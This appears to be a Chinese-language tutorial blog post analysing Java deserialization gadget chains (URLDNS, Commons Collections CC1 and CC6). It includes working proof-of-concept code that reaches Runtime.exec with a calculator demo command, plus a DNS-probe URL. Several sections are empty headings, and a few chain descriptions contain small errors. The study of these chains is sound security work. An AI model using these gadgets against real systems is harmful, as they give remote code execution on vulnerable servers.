0x00 前言 java序列化就是将java对象转化为字节流
而反序列化是字节流转化为原来的java对象,这里会有一个关键点,就是在反序列化时重写readObject(),java会自动调用readObject方法,如果里面有恶意代码就会执行
条件
1、恶意类和所有调用链都要实现Serializable接口
2、变量可控
3、链式调用
0x01介绍 URLDNS
这条链触发点是HashMap类的readObject()方法,在里面调用了类的hashCode方法,而url类的hashCode方法会进行一次dns的查询,解析主机名,向域名发起请求,实现反序列化链的漏洞探测
调用链条
1 2 3 4 5 6 7 8 HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> key.hashCode() [key 是 URL 对象] -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName() -> DNS 查询
CC1
最为经典和比较早期的一条反序列化链,是Apache Commons Collections反序列化漏洞的经典利用链。它通过AnnotationInvocationHandler 连接Java反序列化入口与TransformedMap 的setValue方法,在JDK 8u71以下环境中直接触发Transformer转换链,实现远程代码执行。
调用链条
1 2 3 4 5 6 7 8 9 10 11 12 AnnotationInvocationHandler.readObject() -> memberValues.entrySet().iterator() -> AbstractInputCheckedMapIterator.next() -> AbstractInputCheckedMapIterator.setValue() -> TransformedMap.checkSetValue() -> TransformedMap.transform() -> ChainedTransformer.transform() -> ConstantTransformer.transform() [返回Runtime.class] -> InvokerTransformer.transform() [getMethod "getRuntime"] -> InvokerTransformer.transform() [invoke null] -> InvokerTransformer.transform() [exec "calc"] -> Runtime.getRuntime().exec("calc")
CC2
CC3
CC4
CC5
CC6
CC6链是Apache Commons Collections反序列化漏洞的高版本利用链。它通过TiedMapEntry连接HashSet的readObject方法与LazyMap的get方法,在JDK 8u71+环境中绕过AnnotationInvocationHandler限制,实现命令执行
调用链条
1 2 3 4 5 6 7 8 9 10 11 12 HashMap.readObject() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> TransformedMap.transform() -> ChainedTransformer.transform() -> ConstantTransformer.transform() [返回Runtime.class] -> InvokerTransformer.transform() [getMethod "getRuntime"] -> InvokerTransformer.transform() [invoke null] -> InvokerTransformer.transform() [exec "calc"] -> Runtime.getRuntime().exec("calc")
CC7
0x02调用实现&代码调试 1、URLDNS 一般用于探测漏洞是否存在,测试的jdk版本为jdk1.8.u411
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package urldns;import java.io.Serializable;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class UrlDns implements Serializable { public static void main (String[] args) throws Exception { URL url = new URL ("http://9a98a2e156.ddns.1433.eu.org." ); Field hashcode = URL.class.getDeclaredField("hashCode" ); hashcode.setAccessible(true ); hashcode.setInt(url,10 ); HashMap<URL, Object> map = new HashMap <>(); map.put(url,null ); hashcode.setInt(url,-1 ); util.BaseSerialization.deserializeObject("urldns/ser.bin" ); } }
发现hashCode的真正处理器是handler,是URLStreamHandler类的hashCode
这里getHostAddress就会触发解析域名的操作,会做一个dns查询
所以关键点还是要走到handler.hashCode方法,这里只要hashCode不等于-1就会返回,但是问题是,hashCode在初始化的时候就是-1,会直接走下面的,直接进入dns查询,无法判断到底能否触发漏洞,所以要将hashCode设置一个不为-1的值
1 2 3 Field hashcode = URL.class.getDeclaredField("hashCode" );hashcode.setAccessible(true ); hashcode.setInt(url,10 );
但是可以发现在反序列化时,URL类的readObjec方法是没有调用hashCode方法的,所以要找到其他readObject才能间接调用hashCode
这里就利用到了hashMap的readObject,可以看到里面有个putVal方法里面调用了hash(key),跟进去查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
可以看到调用key.hashCode,这里的key是一个对象,如果变成url,就会调用url.hashCode方法
然后从上面代码可以看到这里的key是来自反序列化的对象的,那么就是要让这个key设置成url类,并且可以看到只要满足mappings > 0就会进入循环,现在设置了一个K为url的映射,所以是大于0的,最终会走到putVal方法
1 for (int i = 0 ; i < mappings; i++) {
所以需要用一个函数去映射处新的map,这里循环的时候就会遍历这个map,获取到key为url类
1 2 HashMap<URL, Object> map = new HashMap <>(); map.put(url,null );
但这时hashCode已经被我们修改成10,会直接返回hashCode,所以我们这里要将其改成-1,从而检查这条链是否真的被触发,最后将对象序列化
1 2 hashcode.setInt(url,-1 ); util.BaseSerialization.deserializeObject("urldns/ser.bin" );
至此,一条完整无害的漏洞探测链就完成了
2、CC1 要求:common-collections<=3.2.1 & < jdk8u71
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import org.junit.Test;import sun.reflect.annotation.AnnotationType;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class CC1Test { @Test public void InvokeExec () { InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a calculator" } ); invokerTransformer.transform(Runtime.getRuntime()); } @Test public void InvokeExec2 () { InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a calculator" } ); HashMap<Object, Object> map = new HashMap <>(); map.put("a" ,"b" ); Map<Object,Object> decorated = TransformedMap.decorate(map, null , invokerTransformer); decorated.put("cmd" ,Runtime.getRuntime()); } @Test public void InvokeExec3 () throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a calculator" } ); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,null ); Map<Object,Object> decorated = TransformedMap.decorate(map, null , invokerTransformer); ConstantTransformer constantTransformer = new ConstantTransformer (Runtime.getRuntime()); constantTransformer.transform(null ); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Target.class, decorated); utils.BaseSerialization.serializeObject("./ser.bin" ,o); utils.BaseSerialization.deserializeObject("./ser.bin" ); } @Test public void test () { AnnotationType annotationtype = AnnotationType.getInstance(Target.class); Map<String, Class<?>> types = annotationtype.memberTypes(); for (Map.Entry<String, Class<?>> entry: types.entrySet()){ System.out.println(entry); } } @Test public void test3 () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a calculator" }) }); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> decorated = TransformedMap.decorate(map, null , chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Target.class, decorated); ByteObjectStream.serialise(o); ByteObjectStream.deserialise("./ser.bin" ); } @Test public void test4 () throws Exception { Class clazz = Runtime.class; Method getRuntimeMethod = clazz.getMethod("getRuntime" ,null ); Object invoke = getRuntimeMethod.invoke(null ); Method execMethod = clazz.getMethod("exec" , String.class); execMethod.invoke(invoke,"open -a calculator" ); } }
3、CC6 漏洞成因:CC1在高版本jdk下的绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.junit.Test;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6Test { @Test public void invoke1 () { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), ct); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "1" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry, "2" ); } @Test public void invoke2 () throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), new ConstantTransformer ("1" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "2" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry, "3" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap,ct); } @Test public void test () throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class, Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class},new Object []{"open -a Calculator" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (),new ConstantTransformer ("1" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap,"2" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"3" ); lazymap.remove("2" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap,ct); utils.BaseSerialization.serializeObject("./ser.bin" ,hashMap); utils.BaseSerialization.deserializeObject("./ser.bin" ); } }
这是jdk8u65的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { return ; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
再看看超过8u71的代码,可以看到,这个代码对比上一段,是完全重写了readObject逻辑,不再直接操作Map(memberValue.setValue),而是用了LinkedHashMap,并且用了一个全新的HashMap类**AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7)**,并且不在调用setValue方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { ObjectInputStream.GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type" , (Object)null ); Map var4 = (Map)var2.get("memberValues" , (Object)null ); AnnotationType var5 = null ; try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap (); String var10; Object var11; for (Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Map.Entry var9 = (Map.Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null ; Class var12 = (Class)var6.get(var10); if (var12 != null ) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy (objectToString(var11))).setMember((Method)var5.members().get(var10)); } } } AnnotationInvocationHandler.UnsafeAccessor.setType(this , var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this , var7); }
这时就需要找到新的调用链
挖掘思路:既然删除了setValue方法,因为这个方法里面会调用transform,那么可以再找一个类似类/方法也可以直接/间接调用transform,最终找到了一个Lazymap类,并且找到这个类里面有个方法满足上面的条件
然后全局找有调用map.get方法的类,找到TiedMapEntry类,里面的getValue方法会调用get
1 2 3 public Object getValue () { return map.get(key); }
并且这个getValue方法被hashCode方法调用,在前面cc1得知,其实hashCode可以经过hashmap调用
大致方法利用链可以写成:HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> factory.transform()
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
这里的putVal会调用hash的方法,并且这里的key是来自readObject的
1 2 3 4 5 6 7 for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); }
既然这样,那就可以将key赋值为TiedMapEntry类作为入口,使用hashMap的put方法传key和value
1 hashMap.put(tiedMapEntry, "1" );
但是这里出现一个问题,如果使用put会提前触发hash方法结束,不能确定是否存在漏洞,所以要先随便设置一个key,这里用一个无关紧要的ConstantTransformer类
在后面要用HashMap.put之后,由于前面已经设置了一个完整的key和value,在这个里面如果存在则不回进入到transform方法,所以必须将这个key对删除,用remove方法绕过并进入
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
4、CC2 5、CC3 6、CC4 7、CC5 0x03总结 CC链集合